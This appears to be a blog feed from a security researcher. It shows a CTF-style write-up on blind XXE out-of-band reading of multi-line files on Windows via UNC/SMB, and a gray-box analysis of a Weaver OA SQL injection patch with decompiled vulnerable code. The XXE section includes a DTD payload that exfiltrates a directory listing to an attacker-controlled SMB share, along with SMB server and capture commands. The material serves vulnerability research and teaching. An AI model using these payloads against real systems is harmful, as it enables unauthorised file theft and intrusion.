Y4tacker:Hacking The World! 2026-01-06T15:47:33.487Z https://y4tacker.github.io/ Y4tacker Hexo 如何用大模型十分钟完成ComfyUI未授权至命令执行利用分析(CVE-2025-67303) https://y4tacker.github.io/2026/01/06/year/2026/%E6%88%91%E7%94%A8%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%8D%81%E5%88%86%E9%92%9F%E5%AE%8C%E6%88%90ComfyUI%E6%9C%AA%E6%8E%88%E6%9D%83%E8%87%B3%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-CVE-2025-67303/ 2026-01-06T14:50:21.000Z 2026-01-06T15:47:33.487Z
]]> 有东西被加密了, 请输入密码查看. 浅析帆软前台表达式注入&WAF-Bypass https://y4tacker.github.io/2025/12/21/year/2025/12/%E6%B5%85%E6%9E%90%E5%B8%86%E8%BD%AF%E5%89%8D%E5%8F%B0%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/ 2025-12-21T12:09:06.000Z 2025-12-21T12:15:13.960Z
]]> 有东西被加密了, 请输入密码查看. 东方通TongWeb最新反序列化利用分析 https://y4tacker.github.io/2025/11/13/year/2025/11/%E4%B8%9C%E6%96%B9%E9%80%9ATongWeb%E6%9C%80%E6%96%B0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/ 2025-11-13T13:44:26.000Z 2025-11-13T14:15:10.136Z
]]> 有东西被加密了, 请输入密码查看. No-FTP:高版本JDK如何通过XXE-OOB读取多行文件 https://y4tacker.github.io/2025/11/10/year/2025/11/No-FTP-%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87XXE-OOB%E8%AF%BB%E5%8F%96%E5%A4%9A%E8%A1%8C%E6%96%87%E4%BB%B6/ 2025-11-10T11:23:22.000Z 2025-11-10T11:46:09.240Z

No-FTP:高版本JDK如何通过XXE-OOB读取多行文件

写在前面

在XXE（XML External Entity Injection）的实际利用中，当遇到没有回显的场景时，通常需要通过OOB（Out-of-Band）方式将数据带出。
传统的XXE-OOB利用中，如果目标文件包含换行符，直接通过HTTP协议外带会因为HTTP请求格式的限制(sun.net.www.protocol.http.HttpURLConnection#checkURL)导致解析失败，早期常用的解决方案是搭建恶意FTP服务器，利用FTP协议对数据格式限制较少的特点，完整接收多行文件内容，但在后面高版本的修复中通过ftp 外带多行数据也被修复了，而机缘巧合下看到朋友发起了一个 XXE 挑战，因而才有了后续的研究

环境分析

Killer的原始小挑战：https://mp.weixin.qq.com/s/Hdd1LeWtzqnc2CGIhPIXBA

简单写写没有很高深的东西

代码非常简单，我们对其做一个简单梳理：

  • 存在 XXE 漏洞
  • XML 解析为异步操作(排除了利用时间差)
  • try-catch+无报错输出(排除了利用报错实现内容外带)

题目环境:

  • JDK:8U202(可以通过请求信息判断)
  • OS: WIndows(可以通过请求判断猜测不做展开)

通过以上的简单梳理我们知道了，我们需要达成的条件其实是要在 Windows 下通过远程外带读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.example.xxe.controller;

import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.io.StringReader;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CompletableFuture;


@RestController
@RequestMapping("/api/system")
public class BlindXxeController {

    @PostMapping("/update-config")
    public ResponseEntity<Map<String, Object>> updateSystemConfig(
            @RequestParam("configXml") String configXml,
            HttpServletRequest request) {
        
        Map<String, Object> response = new HashMap<>();
        
        try {
            CompletableFuture.runAsync(() -> {
                try {
                    SAXReader reader = new SAXReader();
                    Document document = reader.read(new StringReader(configXml));
                    processConfigDocument(document);
                    
                } catch (DocumentException e) {
                    System.err.println("配置处理错误: " + e.getMessage());
                }
            });
            response.put("status", "success");
            response.put("message", "配置更新请求已提交，正在后台处理");
            
            return ResponseEntity.ok(response);
            
        } catch (Exception e) {
            response.put("status", "error");
            response.put("message", "配置更新请求失败");
            response.put("error", "系统内部错误"); 
            
            return ResponseEntity.internalServerError().body(response);
        }
    }


    private void processConfigDocument(Document document) {
        try {
            Element root = document.getRootElement();
            List<Element> settings = root.elements("setting");
            for (Element setting : settings) {
                String name = setting.attributeValue("name");
                String value = setting.getTextTrim();
                System.out.println("更新配置: " + name + " = " + value);
            }
            
            System.out.println("配置处理完成，共处理 " + settings.size() + " 个配置项");
            
        } catch (Exception e) {
            System.err.println("配置处理异常: " + e.getMessage());
        }
    }

}

破局思路

其实如何完成这个挑战非常简单，回顾历史 JDK 修复从来都只是修复协议中出现的换行字符
我们也可以得到一个共识：协议只是数据的载体
首先我们需要知道的是 Java 有哪些协议呢，这个答案比较好找，找sun.net.www.protocol.下的 package 名即可知道
我这里本地环境是 jdk17，所以当前环境下存在 file/ftp/http(s)/jar/jmod/jrt/mailto 这几个协议，从字面猜测可能存在对外请求的有 ftp/http(s)/mailto

80EC0A62-FF0A-40B2-8205-602E54CD6EB4-70797-000022E778EBD57B

首先可以排除的就是 http(s) 以及 ftp，而 mailto 呢好巧不巧它实际上只是一个“启动器”协议，本身在 java 中并不能实现信息外带，本身没有实现 getInputStream

C83A1CFB-B8A0-43A8-AE24-69B38007D598-70797-000022E7876948A0

看起来表面上来看这些协议都不能用于请求外带了，那这时候真的就完全没办法了么？
显然并不是，我们一开始在环境解析过程中已知当前 Java 是在 Windows 系统下的，那么我们完全可以通过 file :走 UNC 触发 SMB 协议交互
经过测试 file 协议下确实并没有对换行做限制，报错只是因为带换行符的文件并不存在

A863CD81-B7DE-44F3-9AA7-1EC82C75F724-70797-000022E794541915

在 linux 上启动 SMB，需要注意impacket不会把解析失败的原始数据打印出来

1
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /tmp -smb2support -debug

所以还需要通过 tcpdump 获取完整协议交互流量

1
sudo tcpdump -i eth0 port 445 -A -s 0

构造 DTD，因为 java 的 file 自带列目录功能，我们首先需要读取 flag 的位置

1
2
<!ENTITY % file SYSTEM "file:///C:/">
<!ENTITY % all "<!ENTITY send SYSTEM 'file://ip/share/%file;'>">

4E576878-1338-40D4-9A81-6C33D7233F5B-70797-000022E79E7439B1

这时候我们便可以看到 flag 文件名接下来读取 flag 就不难了

]]> <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla 部分博客密码删除临时通知 https://y4tacker.github.io/2025/09/02/year/2025/09/%E9%83%A8%E5%88%86%E5%8D%9A%E5%AE%A2%E5%AF%86%E7%A0%81%E5%88%A0%E9%99%A4%E4%B8%B4%E6%97%B6%E9%80%9A%E7%9F%A5/ 2025-09-02T14:37:07.000Z 2025-09-02T15:06:54.169Z

加密的还是比较多，这里选几篇问的多的先公开吧，碎碎念的思路分享为主，部分文章因为不难写的也比较简单，临近的漏洞仍然不公开博客，主要还是考虑到一些风险吧，以下博客已删除密码，可直接访问:

  1. 泛微E-Office10最新远程代码执行漏洞分析

  2. 浅析Panalog-SQL注入到命令执行(Version<20240130)

  3. 某凌OA之一次后台变前台的故事

  4. 泛微云桥文件上传与JFinal Bypass

  5. 浅析帆软FineVis默认插件前台RCE

  6. 浅析JeecgBoot-jmreport最新权限绕过

  7. JeecgBoot最新版权限绕过第二弹之内存马注入实录

  8. 浅析泛微ec10权限绕过到命令执行

  9. 浅析禅道前台SQL注入(Version<20.2)

  10. 浅析禅道利用第二弹之从SQLi到RCE

]]> <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla 浅析用友U8Cloud文件上传绕过 https://y4tacker.github.io/2025/09/02/year/2025/09/%E6%B5%85%E6%9E%90%E7%94%A8%E5%8F%8BU8Cloud%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%95%E8%BF%87/ 2025-09-02T14:30:56.000Z 2025-09-02T14:32:03.940Z
]]> 有东西被加密了, 请输入密码查看. 浅析SmarBI最新权限绕过致RCE https://y4tacker.github.io/2025/08/18/year/2025/08/%E6%B5%85%E6%9E%90SmarBI%E6%9C%80%E6%96%B0%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E8%87%B4RCE/ 2025-08-18T14:14:31.000Z 2025-08-18T14:26:36.341Z
]]> 有东西被加密了, 请输入密码查看. 浅析U8Cloud最新权限绕过至RCE https://y4tacker.github.io/2025/07/30/year/2025/07/%E6%B5%85%E6%9E%90U8Cloud%E6%9C%80%E6%96%B0%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E8%87%B3RCE/ 2025-07-30T14:30:08.000Z 2025-07-30T14:31:52.387Z
]]> 有东西被加密了, 请输入密码查看. 契约锁前台代码执行补丁绕过(20250707) https://y4tacker.github.io/2025/07/12/year/2025/07/%E5%A5%91%E7%BA%A6%E9%94%81%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87-20250707/ 2025-07-12T04:20:53.000Z 2025-07-14T13:43:18.765Z
]]> 有东西被加密了, 请输入密码查看. 如何从灰盒角度快速复现Weaver最新SQL注入 https://y4tacker.github.io/2025/07/09/year/2025/07/%E5%A6%82%E4%BD%95%E4%BB%8E%E7%81%B0%E7%9B%92%E8%A7%92%E5%BA%A6%E5%BF%AB%E9%80%9F%E5%A4%8D%E7%8E%B0Weaver-SQL%E6%B3%A8%E5%85%A5/ 2025-07-09T13:19:19.000Z 2025-07-09T14:38:38.494Z

如何从灰盒角度快速复现Weaver最新SQL注入

​ 好久没写不加密的博客了，因为比较简单外面也半公开了，就简单写写思路吧，至于POC就不直接贴出来了，这篇文章主要是面向像漂亮鼠这样的Java新手

​ 作为安全从业者的我们，每天都会面对各种各样的补丁和系统更新，很多时候不知道该如何下手，尤其是对于初学者，在尝试复现闭源漏洞时，经常会感到无从下手。面对复杂的系统架构、冗长的代码，以及各种陌生的逻辑，难免让人觉得压力山大。再加上互联网上铺天盖地的漏洞分析文章，往往结构化的内容是这样的，当然也包括我自己在内：“首先，系统采用了XX+XXX架构，文件结构是XXX，鉴权点位于XXX，漏洞点在XXX，参数xxx需要xxx构造。”；诚然，这样的写作方式没有任何问题，写作的目的更多是为了记录自己的分析与成长的过程，安全类文章的受众也只会是同一层次的人，但对于新手来说，却容易陷入一个误区：“我啥都不会，怎么可能独立分析出这个漏洞？为啥路由前加一个../就饶过了？这么复杂的东西，我到底该从哪里开始？”。

​ 然而，最简单的道理就是实战出新知。对于一年四季应急的大多数漏洞而言，它们也或许并没有想象中那么难。仔细想想，当你第一次接触到某个系统及其补丁时，真的需要一开始就纠结于那些复杂的架构和鉴权点吗？很多时候，只需要简单地访问一下页面，看看返回结果，就能初步了解鉴权的情况。至于参数是怎么传递的、调用链路是如何运作的，这些问题真的需要一开始就搞清楚吗？多试几次，答案自然就会浮现。

​ 代码审计没有捷径可走，但如果你连漏洞复现后的那种多巴胺激励过程都没有体验过，很难想象作为一名新手，你还能有兴趣并愿意投入大量时间去深入钻研这个领域。

​ 当然以上内容纯属个人吹逼，只是一些可个人想法罢了，那么接下来就进入正题吧，当然文章以“灰盒”为题可能不太恰当，但暂时没想到更合适的词。

补丁分析

补丁内容有很多部分，由于仅公开了SQL注入，这里就以这部分展开

以下部分中不难看出，对于路径/api/doc/out/more/list，如果传入了”elementmore”、”__random__“、“isNew”以外的参数就判定为漏洞利用，同时也要求了elementMore中的key，比较简单粗暴。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
if (path.contains("/api/") && path.contains("/doc/") && path.contains("/out/") && path.contains("/more/") && path.contains("/list")) {
    bb = new BaseBean();
    isFix = sc.getIntValue(bb.getPropValue("weaver_api_out_doc_sql_fix", "list.isFix"));
    if (isFix == 1) {
        return true;
    }

    elementMore = sc.null2String(req.getParameter("elementmore"));
    Enumeration<String> params = req.getParameterNames();

    while(params.hasMoreElements()) {
        param = (String)params.nextElement();
        if (!"elementmore".equals(param) && !"__random__".equals(param) && !"isNew".equals(param)) {
            sc.putToTmpForbiddenIpMap(ThreadVarManager.getIp(), req.getRequestURI(), "漏洞利用");
            sc.writeLog(">>>>Xss(Validate failed[URL ACCESS REJECT]) validateClass=weaver.security.rules.SecurityRuelForEc0704  path=" + req.getRequestURL() + " param:" + param + " not allowed. security validate failed!  source ip:" + ThreadVarManager.getIp());
            return false;
        }
    }

    if (!"".equals(elementMore)) {
        try {
            JSONObject json = JSONObject.fromObject(elementMore);
            Set<String> keys = json.keySet();
            Iterator var12 = keys.iterator();

            while(var12.hasNext()) {
                key = (String)var12.next();
                if (!"newsCatalogIds".equals(key)) {
                    sc.putToTmpForbiddenIpMap(ThreadVarManager.getIp(), req.getRequestURI(), "漏洞利用");
                    sc.writeLog(">>>>Xss(Validate failed[URL ACCESS REJECT]) validateClass=weaver.security.rules.SecurityRuelForEc0704  path=" + req.getRequestURL() + " key:" + key + " not allowed. security validate failed!  source ip:" + ThreadVarManager.getIp());
                    return false;
                }
            }

            if (json.containsKey("newsCatalogIds")) {
                JSONArray jsonArray = json.getJSONArray("newsCatalogIds");

                for(int i = 0; i < jsonArray.size(); ++i) {
                    val = sc.null2String(jsonArray.getString(i));
                    if (!"".equals(val) && sc.getIntValue(val, -999999) == -999999) {
                        sc.putToTmpForbiddenIpMap(ThreadVarManager.getIp(), req.getRequestURI(), "漏洞利用");
                        sc.writeLog(">>>>Xss(Validate failed[URL ACCESS REJECT]) validateClass=weaver.security.rules.SecurityRuelForEc0704  path=" + req.getRequestURL() + " newsCatalogIds:" + jsonArray.toString() + " not allowed. security validate failed!  source ip:" + ThreadVarManager.getIp());
                        return false;
                    }
                }
            }
        } catch (Exception var16) {
            sc.writeError(var16);
            sc.writeLog(">>>>Xss(Validate failed[ERROR]) validateClass=weaver.security.rules.SecurityRuelForEc0704  path=" + req.getRequestURL() + " json invalid, elementMore=" + elementMore + ". security validate failed!  source ip:" + ThreadVarManager.getIp());
            return false;
        }
    }
}

实战复现

复现为主，代码不算新

注入点浅析

idea对路径搜索挺好的双击shift查找路径不难发现对应对应com.api.doc.search.web.DocOutMoreAction#getDataList，接下来我们查看其代码逻辑，有一个elementmore、isNew

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public String getDataList(@Context HttpServletRequest var1, @Context HttpServletResponse var2) throws Exception {
    Object var3 = new HashMap();

    try {
        String var4 = Util.null2String(var1.getParameter("elementmore"));
        String var5 = Util.null2String(var1.getParameter("isNew"));
        DocListUtil var6 = new DocListUtil(var1, (User)null, DocTableType.SEARCH_DOC_TABLE, false);
        String var7 = var6.getSqlWhere();
        DocNewsService var8 = new DocNewsService();
        if ("1".equals(var5)) {
            var8.isNew(var5);
        }

        var3 = var8.getMoreList(var4, (User)null, var7, (Map)null);
    } catch (Exception var9) {
        var9.printStackTrace();
        ((Map)var3).put("api_status", false);
        ((Map)var3).put("api_errormsg", "catch exception : " + var9.getMessage());
    }

    return JSONObject.toJSONString(var3);
}

深入DocListUtil，不难发现存在很多拼接点，简单了解一眼即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
package com.api.doc.search.util;

import com.api.browser.util.ConditionType;
import com.engine.doc.util.CheckPermission;
import com.engine.doc.util.TimeZoneUtil;
import com.engine.hrm.biz.HrmClassifiedProtectionBiz;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import weaver.conn.RecordSet;
import weaver.general.Util;
import weaver.hrm.User;
import weaver.systeminfo.setting.HrmUserSettingComInfo;

public class DocListUtil {
    private String sqlWhere = " t1.id=t2.sourceid ";
    private boolean needRight = true;

    public DocListUtil(HttpServletRequest var1, User var2, DocTableType var3) {
        this.packageCondition(var1, var2, var3);
    }

    public DocListUtil(HttpServletRequest var1, User var2, DocTableType var3, boolean var4) {
        if (!var4 || var2 == null) {
            this.sqlWhere = "";
            this.needRight = false;
        }

        this.packageCondition(var1, var2, var3);
    }

    private void packageCondition(HttpServletRequest var1, User var2, DocTableType var3) {
        String var4 = "";
        String var6;
        if (this.needRight) {
            HrmUserSettingComInfo var5 = new HrmUserSettingComInfo();
            var6 = var5.getBelongtoshowByUserId(var2.getUID() + "");
            var4 = var2.getBelongtoids();
            if ("1".equals(var6) && "0".equals(var2.getAccount_type()) && !"".equals(var4)) {
                var4 = var4 + "," + var2.getUID();
            } else {
                var4 = "";
            }
        }

        Enumeration var17 = var1.getParameterNames();
        var6 = "";
        String var7 = "";
        if (var3 == DocTableType.DOC_COPYMOVE) {
            this.sqlWhere = " t1.seccategory = " + var1.getParameter("sourceId");
        }

        String var8;
        String var9;
        boolean var10;
        while(var17.hasMoreElements()) {
            var8 = (String)var17.nextElement();
            var9 = Util.null2String(var1.getParameter(var8));
            var10 = true;
            DocCondition[] var11 = DocCondition.values();
            int var12 = var11.length;

            String var15;
            for(int var13 = 0; var13 < var12; ++var13) {
                DocCondition var14 = var11[var13];
                if (!var9.isEmpty()) {
                    if (var14.getConditionType() == ConditionType.DATE) {
                        if (var8.equals(var14.getName() + ConditionUtil.DATE_SELECT) && !"6".equals(var9)) {
                            this.sqlWhere = this.sqlWhere + packDateType(var14.getName(), var9, var14);
                        } else {
                            String var16;
                            if (var8.equals(var14.getName() + ConditionUtil.DATE_FROM)) {
                                var15 = TimeZoneUtil.getServerDate1(var9, "begin");
                                if (!"doclastmoddate".equals(var14.getName()) && !"doccreatedate".equals(var14.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and " + var14.getName() + ">='" + var15 + "'";
                                } else {
                                    var16 = TimeZoneUtil.getServertime1(var9, "begin");
                                    this.sqlWhere = this.sqlWhere + TimeZoneUtil.handDateCondition("6", var9, "", var14.getName(), "", false);
                                }
                            } else if (var8.equals(var14.getName() + ConditionUtil.DATE_TO)) {
                                var15 = TimeZoneUtil.getServerDate1(var9, "end");
                                if (!"doclastmoddate".equals(var14.getName()) && !"doccreatedate".equals(var14.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and " + var14.getName() + "<='" + var15 + "'";
                                } else {
                                    var16 = TimeZoneUtil.getServertime1(var9, "end");
                                    this.sqlWhere = this.sqlWhere + TimeZoneUtil.handDateCondition("6", "", var9, var14.getName(), "", false);
                                }
                            }
                        }
                    } else {
                        if (var14.getConditionType() == ConditionType.SCOPE) {
                            if (var8.equals(DocCondition.REPLAY_DOC_COUNT + ConditionUtil.INTERVAL_FROM)) {
                                var15 = Util.getIntValue(var9, 0) + "";
                                if (var14.getDbType() != DbType.INT) {
                                    var15 = "'" + var15.replace("'", "'") + "'";
                                }

                                this.sqlWhere = this.sqlWhere + " and " + var14.getName() + " >= " + var15;
                            } else if (var8.equals(DocCondition.REPLAY_DOC_COUNT + ConditionUtil.INTERVAL_TO)) {
                                var15 = Util.getIntValue(var9, 0) + "";
                                if (var14.getDbType() != DbType.INT) {
                                    var15 = "'" + var15.replace("'", "'") + "'";
                                }

                                this.sqlWhere = this.sqlWhere + " and " + var14.getName() + " <= " + var15;
                            }
                        }

                        if (var14.getName().equals(var8)) {
                            var10 = false;
                            if (var14.getLogic() == LogicOperation.CUSTOM) {
                                if (var8.equals(DocCondition.DOC_SUBJECT.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and " + this.getDocSubjectSql(var9);
                                    break;
                                }

                                if (var8.equals(DocCondition.KEYWORD.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and " + this.getKeyWordSql(var9);
                                    break;
                                }

                                if (var8.equals(DocCondition.DEPARTMENT_ID.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and exists(select 1 from HrmResource where departmentid=" + var9 + " and id=t1.doccreaterid)";
                                    break;
                                }

                                if (var8.equals(DocCondition.CREATER_SUBCOMPANY_ID.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and exists(select 1 from HrmResource where subcompanyid1=" + var9 + " and id=t1.doccreaterid)";
                                    break;
                                }

                                if (var8.equals(DocCondition.OWNER_DEPARTMENT_ID.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and exists(select 1 from HrmResource where departmentid=" + var9 + " and id=t1.ownerid)";
                                    break;
                                }

                                if (var8.equals(DocCondition.OWNER_SUBCOMPANY_ID.getName())) {
                                    this.sqlWhere = this.sqlWhere + " and exists(select 1 from HrmResource where subcompanyid1=" + var9 + " and id=t1.ownerid)";
                                    break;
                                }

                                if (!var8.equals(DocCondition.DATE2DURING.getName())) {
                                    if (var8.equals(DocCondition.DOC_STATUS.getName())) {
                                        var6 = var9;
                                    } else if (var8.equals(DocCondition.TREE_DOC_FIELD_ID.getName())) {
                                        var9 = var9.startsWith(",") ? var9.substring(1) : var9;
                                        var9 = var9.endsWith(",") ? var9.substring(0, var9.length() - 1) : var9;
                                        var9 = var9.indexOf(",") == -1 ? " = " + var9 : " in (" + var9 + ")";
                                        this.sqlWhere = this.sqlWhere + " and exists(select 1 from DocDummyDetail where docid=t1.id and catelogid " + var9 + ")";
                                    }
                                    break;
                                }

                                if (Util.getIntValue(var9, 0) <= 36 && Util.getIntValue(var9, 0) >= 1) {
                                    this.sqlWhere = this.sqlWhere + " and t1.doclastmoddate>='" + getDate2During(Util.getIntValue(var9, 0)) + "'";
                                    break;
                                }
                            } else {
                                if (var14.getLogic() == LogicOperation.EQ_OR_IN) {
                                    var9 = var9.startsWith(",") ? var9.substring(1) : var9;
                                    var9 = var9.endsWith(",") ? var9.substring(0, var9.length() - 1) : var9;
                                    if (var9.indexOf(",") == -1) {
                                        if (var14.getDbType() == DbType.VARCHAR) {
                                            var9 = "'" + var9.replace("'", "''") + "'";
                                        }

                                        var9 = " = " + var9;
                                    } else {
                                        if (var14.getDbType() == DbType.VARCHAR) {
                                            var9 = "'" + var9.replace("'", "''").replace(",", "','") + "'";
                                        }

                                        var9 = " in (" + var9 + ")";
                                    }

                                    if (var14 != DocCondition.SUBSCRIPTION_APPROVE_DATE && var14 != DocCondition.SUBSCRIPTION_DATE && var14 != DocCondition.SUBSCRIPTION_STATE) {
                                        this.sqlWhere = this.sqlWhere + " and t1." + var8 + var9;
                                        break;
                                    }

                                    this.sqlWhere = this.sqlWhere + " and ds." + var8 + var9;
                                    break;
                                }

                                if (var14.getLogic() == null) {
                                    break;
                                }

                                var15 = var14.getLogic().getCode();
                                if (var15 != null) {
                                    if (var14.getDbType() == DbType.VARCHAR) {
                                        if (var15.indexOf("{#}") > -1) {
                                            var9 = var9.replace("'", "''");
                                        } else {
                                            var9 = "'" + var9.replace("'", "''") + "'";
                                        }
                                    }

                                    if (var14 != DocCondition.SUBSCRIPTION_APPROVE_DATE && var14 != DocCondition.SUBSCRIPTION_DATE && var14 != DocCondition.SUBSCRIPTION_STATE) {
                                        this.sqlWhere = this.sqlWhere + " and t1." + var8 + (var15.indexOf("{#}") > -1 ? var15.replace("{#}", var9) : var15 + var9);
                                        break;
                                    }

                                    this.sqlWhere = this.sqlWhere + " and ds." + var8 + (var15.indexOf("{#}") > -1 ? var15.replace("{#}", var9) : var15 + var9);
                                    break;
                                }
                            }
                        }
                    }
                }
            }

            if (var10 && ConditionUtil.isCustomParamNameNew(var8) && ConditionUtil.isCustomParamValue(var8)) {
                String var18 = ConditionUtil.getCustomIdNew(var8);
                var12 = Util.getIntValue(Util.null2String(var1.getParameter("seccategory")));
                if (var3 == DocTableType.DOC_COPYMOVE) {
                    this.sqlWhere = " t1.seccategory = " + var1.getParameter("sourceId");
                }

                String var19 = Util.null2String(var1.getParameter(ConditionUtil.CUSTOM_KEY_PREV + var18 + ConditionUtil.CUSTOM_KEY_OPT), "-1");
                var15 = ConditionUtil.getCustomSql(var18, var12, var2, var9, var19);
                if (!var15.isEmpty()) {
                    var7 = var7 + " and " + var15;
                }
            }
        }

        var8 = this.needRight ? (var4.isEmpty() ? " = " + var2.getUID() : " in (" + var4 + ")") : "";
        var6 = var6.startsWith(",") ? var6.substring(1) : var6;
        var6 = var6.endsWith(",") ? var6.substring(0, var6.length() - 1) : var6;
        if (var3 == DocTableType.MY_DOC_TABLE) {
            if (var6.isEmpty()) {
                this.sqlWhere = this.sqlWhere + " and t1.docstatus != 8 and t1.docstatus != 9 and t1.docstatus <=9";
            } else if (!"-1".equals(var6) && !"0".equals(var6)) {
                this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
            } else {
                this.sqlWhere = this.sqlWhere + " and t1.docstatus <1";
            }

            this.sqlWhere = this.sqlWhere + " and (t1.doccreaterid " + var8 + " or t1.ownerid " + var8 + ")";
        } else if (var3 == DocTableType.DOC_BATCHSHARE) {
            if (var6.isEmpty()) {
                if (this.needRight) {
                    this.sqlWhere = this.sqlWhere + " and (t1.docstatus in(1,2,5) or (t1.docstatus=7  and (t1.doccreaterid=" + var2.getUID() + " or t1.ownerid=" + var2.getUID() + ")))";
                } else {
                    this.sqlWhere = this.sqlWhere + " and t1.docstatus in(1,2,5) ";
                }
            } else {
                var6 = var6.equals("1") ? "1,2" : var6;
                this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
            }
        } else if (var3 != DocTableType.DOC_COPYMOVE && var3 != DocTableType.ENGINE_DOC_BATCHSHARE) {
            if (var3 == DocTableType.DOC_RECYCLE) {
                if (!var6.isEmpty()) {
                    var6 = var6.equals("1") ? "1,2" : var6;
                    this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
                }
            } else if (var3 == DocTableType.ENGINE_DOC_RECYCLE) {
                if (!var6.isEmpty()) {
                    var6 = var6.equals("1") ? "1,2" : var6;
                    this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
                }
            } else if (var3 == DocTableType.DOC_SUBSCRIPTION_HISTORY) {
                if (var6.isEmpty()) {
                    if (this.needRight) {
                        this.sqlWhere = this.sqlWhere + " and (t1.docstatus in(1,2,5) or (t1.docstatus=7  and (t1.doccreaterid=" + var2.getUID() + " or t1.ownerid=" + var2.getUID() + ")))";
                    } else {
                        this.sqlWhere = this.sqlWhere + " and t1.docstatus in(1,2,5) ";
                    }
                } else {
                    var6 = var6.equals("1") ? "1,2" : var6;
                    this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
                }

                if (var3 == DocTableType.NEWEST_DOC || var3 == DocTableType.NO_READ_DOC) {
                    this.sqlWhere = this.sqlWhere + " and t1.doccreaterid " + (var4.isEmpty() ? "<> " + var2.getUID() : "not in (" + var4 + ")");
                }
            } else if (var3 == DocTableType.ENGINE_DOC_PROP_SET) {
                this.sqlWhere = this.sqlWhere + " and t1.docstatus in(1,2,5) and t1.docextendname = 'html'";
            } else {
                if (var6.isEmpty()) {
                    if (this.needRight) {
                        this.sqlWhere = this.sqlWhere + " and (t1.docstatus in(1,2,5) or (t1.docstatus=7  and (t1.doccreaterid=" + var2.getUID() + " or t1.ownerid=" + var2.getUID() + ")))";
                    } else {
                        this.sqlWhere = this.sqlWhere + " and t1.docstatus in(1,2,5) ";
                    }
                } else {
                    var6 = var6.equals("1") ? "1,2" : var6;
                    this.sqlWhere = this.sqlWhere + " and t1.docstatus " + (var6.indexOf(",") > -1 ? "in (" + var6 + ")" : "=" + var6);
                }

                if (var3 == DocTableType.NEWEST_DOC || var3 == DocTableType.NO_READ_DOC) {
                    this.sqlWhere = this.sqlWhere + " and t1.doccreaterid " + (var4.isEmpty() ? "<> " + var2.getUID() : "not in (" + var4 + ")");
                }
            }
        } else if (var6.isEmpty()) {
